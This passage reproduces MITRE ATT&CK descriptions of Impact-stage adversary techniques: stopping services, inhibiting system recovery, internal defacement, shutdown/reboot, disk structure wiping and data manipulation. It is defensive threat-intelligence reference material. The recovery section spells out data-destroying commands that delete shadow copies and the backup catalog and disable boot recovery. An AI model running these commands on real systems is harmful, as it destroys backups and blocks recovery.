Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)


Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)


T1490
Inhibit System Recovery

Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.


Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)


A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:


* vssadmin.exe can be used to delete all volume shadow copies on a system – vssadmin.exe delete shadows /all /quiet

* Windows Management Instrumentation can be used to delete volume shadow copies – wmic shadowcopy delete

* wbadmin.exe can be used to delete the Windows Backup Catalog – wbadmin.exe delete catalog -quiet

* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data – bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system


On network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.


Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)


T1491.001
Defacement: Internal Defacement

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary’s presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)


T1529
System Shutdown/Reboot

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)


Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.


Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as Disk Structure Wipe or Inhibit System Recovery, to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)


T1561.002
Disk Wipe: Disk Structure Wipe

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.


Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. Disk Structure Wipe may be performed in isolation, or along with Disk Content Wipe if all sectors of a disk are wiped.


On a network devices, adversaries may reformat the file system using Network Device CLI commands such as `format`.(Citation: format_cmd_cisco)


To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)


T1565
Data Manipulation

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.


The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.


* © 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

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